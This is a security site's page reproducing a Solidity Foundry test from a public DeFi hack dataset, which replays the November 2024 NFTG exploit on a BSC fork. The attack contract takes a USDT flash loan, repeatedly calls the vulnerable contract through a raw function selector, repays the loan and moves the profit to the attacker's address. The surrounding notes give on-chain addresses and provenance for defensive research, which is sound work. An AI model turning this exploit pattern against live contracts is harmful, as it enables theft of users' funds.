Skip to content
THREATWIRE

Public reproduction file

src/test/2024-11/NFTG_exp.sol

Public reproduction file for dataset entry NFTG.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-11/NFTG_exp.sol68 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "../interface.sol";
5
6// @KeyInfo - Total Lost : 10k USD
7// Attacker : https://bscscan.com/address/0x5af00b07a55f55775e4d99249dc7d81f5bc14c22
8// Attack Contract : https://bscscan.com/address/0x6def9e4a6bb9c3bfe0648a11d3fff14447079e78
9// Vulnerable Contract : https://bscscan.com/address/0x5fbbb391d54f4fb1d1cf18310c93d400bc80042e
10// Attack Tx : https://bscscan.com/tx/0xbd330fd17d0f825042474843a223547132a49abb0746a7e762a0b15cf4bd28f6
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0x5fbbb391d54f4fb1d1cf18310c93d400bc80042e
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1861430745572745245
17// Twitter Guy : https://x.com/TenArmorAlert/status/1861430745572745245
18// Hacking God : N/A
20address constant BEP20USDT = 0x55d398326f99059fF775485246999027B3197955;
21address constant DPP = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;
22address constant addr1 = 0x5fbBb391d54f4FB1d1CF18310c93d400BC80042E;
23address constant attacker = 0x5af00B07a55F55775e4d99249DC7d81F5bc14c22;
24address constant addr2 = 0x6deF9e4a6bb9C3bfE0648A11D3FfF14447079e78;
27contract ContractTest is Test {
28 function setUp() public {
29 vm.createSelectFork("bsc", 44348366);
30 }
32 function testPoC() public {
33 emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);
34 vm.startPrank(attacker, attacker);
35 AttackerC attC = new AttackerC();
36 attC.transfer();
37 vm.stopPrank();
38 emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);
39 }
42// 0x6deF9e4a6bb9C3bfE0648A11D3FfF14447079e78
43contract AttackerC {
44 function transfer() public {
45 IBEP20USDT(BEP20USDT).approve(addr1, type(uint256).max);
46 IDPP(DPP).flashLoan(0, 8255555 * 10**14, address(this), hex"3078");
47 }
49 function DPPFlashLoanCall(address /*sender*/, uint256 /*baseAmount*/, uint256 /*quoteAmount*/, bytes calldata /*data*/) external {
50 for (uint256 idx = 0; idx < 11; idx++) {
51 IBEP20USDT(BEP20USDT).transfer(addr1, (idx * 10**13) + (11 * 10**13));
52 (bool s, ) = addr1.call(abi.encodeWithSelector(bytes4(0x85d07203), 2125 * 10**13 * 3600, address(this)));
53 require(s, "call failed");
54 }
55 IBEP20USDT(BEP20USDT).transfer(DPP, 8255555 * 10**14);
56 uint256 bal = IBEP20USDT(BEP20USDT).balanceOf(address(this));
57 IBEP20USDT(BEP20USDT).transfer(attacker, bal);
58 }
61interface IBEP20USDT {
62 function approve(address, uint256) external returns (bool);
63 function balanceOf(address) external returns (uint256);
64 function transfer(address, uint256) external returns (bool);
66interface IDPP {
67 function flashLoan(uint256, uint256, address, bytes calldata) external;

Analysis

Dataset entry

Public Foundry test for “NFTG” (2024-11-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x5af00b07a55f55775e4d99249dc7d81f5bc14c22

  • Attack Contract

    0x6def9e4a6bb9c3bfe0648a11d3fff14447079e78

  • Vulnerable Contract

    0x5fbbb391d54f4fb1d1cf18310c93d400bc80042e

  • Attack Tx

    0xbd330fd17d0f825042474843a223547132a49abb0746a7e762a0b15cf4bd28f6

File record

Name
NFTG
Path
src/test/2024-11/NFTG_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
466dbe60b386d1158a6e0a61692b54a5021c8190
Language
Solidity
Size
68 lines
Date
2024-11-26
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2024-11/NFTG_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 466dbe60b386d1158a6e0a61692b54a5021c8190, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.